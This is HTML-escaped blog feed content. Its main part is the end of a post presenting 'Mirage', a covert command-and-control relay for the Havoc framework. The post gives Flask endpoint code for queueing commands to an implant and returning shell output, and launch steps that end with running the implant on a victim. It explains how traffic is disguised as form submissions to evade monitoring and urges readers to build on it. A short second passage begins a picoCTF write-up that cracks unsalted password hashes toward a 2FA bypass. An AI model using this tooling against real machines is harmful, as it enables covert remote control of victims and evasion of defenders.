        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;registered&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;registered&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Registration failed, retrying...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] REGISTERED SUCCESSFULLY! DROPPING TO SHELL QUEUE.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;6. Command Retrieval:&lt;/strong&gt; The agent requests waiting instructions from the web server via a standard &lt;code&gt;GET /api/telemetry&lt;/code&gt; call, which pops the payload off the Flask queue.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/telemetry&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;agent_download&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;listener_to_agent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;listener_to_agent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;popleft&lt;/span&gt;&lt;span class="p"&gt;()})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;7. Execution &amp;amp; Return:&lt;/strong&gt; The agent strips the formatting headers, drops the command into the local system shell, and passes the terminal response back up using a &lt;code&gt;POST /api/telemetry&lt;/code&gt; upload.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/telemetry&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;agent_upload&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;agent_to_listener&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;8. Collecting the Loot:&lt;/strong&gt; The background synchronization thread inside &lt;code&gt;handler.py&lt;/code&gt; checks back with the web server via &lt;code&gt;GET /api/sync&lt;/code&gt; to see if any execution results are waiting.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/sync&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;listener_download&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;agent_to_listener&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;agent_to_listener&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;popleft&lt;/span&gt;&lt;span class="p"&gt;()})&lt;/span&gt;  
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ok&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;9. Handshake Completion:&lt;/strong&gt; The handler catches the returned Base64 string, translates it back into a raw binary buffer, and forwards the response frame back into Havoc's service backend.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;10. UI Update:&lt;/strong&gt; The session interface unmarshals the data stream, and the terminal output cleanly renders on the operator's monitoring screen.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  The Two Functions That Power Everything
&lt;/h2&gt;

&lt;p&gt;Mirage is built around two functions. Everything else, the registration, the task relay, the output handling, is abstracted away. These two are the only things you need to touch if you want to swap the channel.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;uploadData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Receives a Base64 string.
    Send it anywhere -- HTTP POST, Discord webhook, S3 bucket, DNS query, whatever.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;downloadData&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Poll your channel for incoming data.
    Return the raw Base64 string from the other side.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Swap these out in both &lt;code&gt;agent.py&lt;/code&gt; and &lt;code&gt;handler.py&lt;/code&gt; and you have a completely different C2 channel. Some ideas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Discord webhook&lt;/strong&gt; - POST the blob as a message, poll the channel for replies&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;S3 bucket&lt;/strong&gt; - write objects with a known key pattern, poll and delete on read&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DNS&lt;/strong&gt; - encode the blob in TXT record queries against a domain you control&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pastebin / GitHub Gist&lt;/strong&gt; - create a paste, poll by URL&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Steganography&lt;/strong&gt; - hide the blob inside an image uploaded to Imgur&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As long as what goes into &lt;code&gt;uploadData&lt;/code&gt; comes back out of &lt;code&gt;downloadData&lt;/code&gt; intact, the rest of Mirage works without a single line change.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Deployment: Bringing Mirage to Life
&lt;/h2&gt;

&lt;p&gt;When you are dealing with asynchronous C3 framework, the order of operations by which you run files is very important as wrong order can cause the entire pipeline to collapse&lt;/p&gt;
&lt;h3&gt;
  
  
  The Startup Routine
&lt;/h3&gt;

&lt;p&gt;Here is the exact order you need to follow when launching the components across your workspace:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Start the core C2 teamserver backend&lt;/span&gt;
./havoc teamserver &lt;span class="nt"&gt;--profile&lt;/span&gt; ./profiles/havoc.yaotl

&lt;span class="c"&gt;# 2. Fire up the Flask web storefront decoy&lt;/span&gt;
python main.py

&lt;span class="c"&gt;# 3. Launch your custom service handler to bridge Havoc&lt;/span&gt;
python handler.py

&lt;span class="c"&gt;# 4. Open the visual Havoc client UI to interact with your dashboard&lt;/span&gt;
./havoc client

&lt;span class="c"&gt;# 5. Finally, execute the implant on the target machine&lt;/span&gt;
python agent.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Analyzing the Operational Logs
&lt;/h2&gt;

&lt;p&gt;When everything spins up correctly, your terminal screens should show a clean handshake passing from Havoc, through your Python service API, and down to the web relay.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Handler Connection
&lt;/h3&gt;

&lt;p&gt;When you launch &lt;code&gt;handler.py&lt;/code&gt;, it instantly reaches out to open an authenticated WebSocket channel into Havoc's listener framework:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkpfv4bim4axsaq3wcv4e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkpfv4bim4axsaq3wcv4e.png" alt=" " width="588" height="439"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  The Teamserver Backend
&lt;/h3&gt;

&lt;p&gt;Over on the Havoc Teamserver terminal, you will see the framework recognize your custom C3 extension layer and seamlessly mount it onto the active session database:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwgtxiuarqu60q6xgg1gp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwgtxiuarqu60q6xgg1gp.png" alt=" " width="799" height="532"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  The Secret Check-In
&lt;/h3&gt;

&lt;p&gt;The moment &lt;code&gt;agent.py&lt;/code&gt; executes on the victim machine, it runs its initialization routine. It queries the local host system details, bundles them up, and drops the registration package into the Flask web storage drawer.&lt;/p&gt;

&lt;p&gt;The background poller thread inside handler.py catches the payload, parses the custom 12-byte framing header, and serves it up to the Teamserver:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fggpxds1g17q8qvlvpvqi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fggpxds1g17q8qvlvpvqi.png" alt=" " width="800" height="354"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Proof of Concept: Executing Commands Covertly
&lt;/h2&gt;

&lt;p&gt;After setting up the entire pipeline for the C2 framework and hoping no errors pop up we can finally test it out. After opening the havoc client UI, we will see something like this&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F65yk5182vtk9vxw7ijfx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F65yk5182vtk9vxw7ijfx.png" alt=" " width="800" height="210"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see different session id's that handler.py registers with Havoc. They match the random AgentID strings generated by the implant.&lt;/p&gt;

&lt;p&gt;It accurately maps the system configurations fetched during the initial handshake, as we can see since I hosted my flask website on localhost internal ip address is being shown as &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;User is registered under Kali as I'm using a Kali VM and it spoofs the OS as Windows 10 (as hardcoded in our handler.py profile structure &lt;code&gt;10.0.1.0.19041&lt;/code&gt;) while correctly identifying the running process name as python.&lt;/p&gt;

&lt;p&gt;Once we click on the agent ID and interact with it, a terminal where you can type commands will pop up. As we can see it says our clicked agent is registered. Now you can type any command like &lt;code&gt;shell ls, shell cat /etc/passwd&lt;/code&gt; etc you want to execute on the victim's computer (which in this case the agent and the attacker machine are the same VM since we configured a loopback address (&lt;code&gt;127.0.0.1&lt;/code&gt;) for demonstration purposes)&lt;/p&gt;

&lt;p&gt;After entering our command and waiting for a few seconds, output of the command is shown on the terminal which means that our C2 framework is working correctly&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgif7uejmcdtlcxhp003h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgif7uejmcdtlcxhp003h.png" alt=" " width="800" height="383"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Below is a full walkthrough video of Mirage in action from setting up the files to getting a live shell on the target machine.&lt;br&gt;
&lt;/p&gt;
&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
      &lt;div class="c-embed__body flex items-center justify-between"&gt;
        &lt;a href="https://www.image2url.com/r2/default/videos/1780987925491-6ff292f0-5be8-40cc-8cf3-de5bae2d327c.mkv" rel="noopener noreferrer" class="c-link fw-bold flex items-center"&gt;
          &lt;span class="mr-2"&gt;image2url.com&lt;/span&gt;
          

        &lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  
  
  The Cryptographic Disguise: Inside the Encoding Pipeline
&lt;/h2&gt;

&lt;p&gt;Let's say if a normal implant executes a command on a victim's computer and sends it over a raw socket. This creates a network signature that can be easily tracked by various defensive SOC tools. Mirage prevents this by running every transmission through a multi-stage packaging, serialization, and translation pipeline.&lt;/p&gt;

&lt;p&gt;To keep network monitors from spotting the traffic, data is systematically reshaped before it touches the wire. It goes through a simple four step disguise process.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftagpm27r1xh45be18j9j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftagpm27r1xh45be18j9j.png" alt=" " width="525" height="718"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;1. The Wrapper:&lt;/strong&gt; User types command &lt;code&gt;(shell ls)&lt;/code&gt; and its wrapped in a clean JSON format &lt;code&gt;{"task": "gettask", "data": "output"}&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2. The Tag:&lt;/strong&gt; A tiny 12-byte binary header is slapped onto the front. This header holds the packet size, validation keys, and the unique ID of the compromised machine.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;3. The Clean Text:&lt;/strong&gt; The entire packet is converted into a Base64 string. This strips away all suspicious code characters and null bytes, turning it into an innocent-looking block of standard text.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;4. The Safe Delivery:&lt;/strong&gt; This text block is placed inside a final web form request and sent over standard HTTP. To a network monitor, it looks exactly like an ordinary user filling out a form on an anime website. The network logs as you can see look like simple HTTP requests to disguise the malicious commands being sent by the C2 server.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh4rvjh543f1skvjzjnfs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh4rvjh543f1skvjzjnfs.png" alt=" " width="800" height="568"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;And that's Mirage a dead drop C2 that hides in plain sight behind a fake Japanese import shop.&lt;/p&gt;

&lt;p&gt;The core idea is very simple if the teamserver never talks to the agent directly, there's no direct connection to trace. Every byte of C2 traffic looks like normal web requests to a boring website. Blue team sees HTTP. You have a shell.&lt;/p&gt;

&lt;p&gt;From here the rabbit hole goes deep. You can do many things like swapping the Flask dead drop for S3, DNS, Discord webhooks, or steganographic image uploads. The channel is just two functions. Everything else stays the same.&lt;/p&gt;

&lt;p&gt;If you made it this far, go build something with it. The code is on GitHub &lt;a href="https://github.com/EpicNerdGuy/mirage" rel="noopener noreferrer"&gt;here&lt;/a&gt;. Thanks for reading:)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fegy0d3s9sz3s3jumvpcv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fegy0d3s9sz3s3jumvpcv.png" alt=" " width="740" height="524"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>python</category>
      <category>programming</category>
      <category>security</category>
    </item>
    <item>
      <title>No FA - PicoCTF Writeup: 2FA Bypass via Request Manipulation</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Thu, 26 Mar 2026 17:28:07 +0000</pubDate>
      <link>https://dev.to/deoxys/no-fa-picoctf-writeup-2fa-bypass-via-request-manipulation-21bm</link>
      <guid>https://dev.to/deoxys/no-fa-picoctf-writeup-2fa-bypass-via-request-manipulation-21bm</guid>
      <description>&lt;h2&gt;
  
  
  Walkthrough
&lt;/h2&gt;

&lt;p&gt;The name of the challenge is No Fa, here’s the link: &lt;a href="https://play.picoctf.org/practice/challenge/765?category=1&amp;amp;difficulty=2&amp;amp;page=1" rel="noopener noreferrer"&gt;https://play.picoctf.org/practice/challenge/765?category=1&amp;amp;difficulty=2&amp;amp;page=1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lets see the live instance&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi2jbdz8i5v3q956twgu0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi2jbdz8i5v3q956twgu0.png" alt=" " width="800" height="330"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So we need some sort of login credentials to access the website&lt;/p&gt;

&lt;p&gt;Lets see what we get in the linked files&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg3hlt9fdceignc0wcdwi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg3hlt9fdceignc0wcdwi.png" alt=" " width="800" height="344"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;here we have a sqlite users.db database dump containing USERNAME, USER EMAIL ID and HASHED PASSWORDS (these passwords seem to be unsalted meaning they can be easily cracked)&lt;/p&gt;

&lt;p&gt;First I extracted all the usernames and hashed passwords cleanly&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ta2sk71cb3nejhqgnsk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ta2sk71cb3nejhqgnsk.png" alt=" " width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Some of these hashed passwords can be easily cracked via crackstation because they use commonly used passwords and are unsalted as I previously said. Let's pick one cred at random and test them in crackstation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8f1mpub4haxh9jv3rtur.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8f1mpub4haxh9jv3rtur.png" alt=" " width="800" height="291"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Bingo so we got the username and the password login creds&lt;br&gt;
&lt;code&gt;admin : apple@123&lt;/code&gt;&lt;br&gt;
Now lets login with these creds, we are redirected to OTP verification&lt;/p&gt;

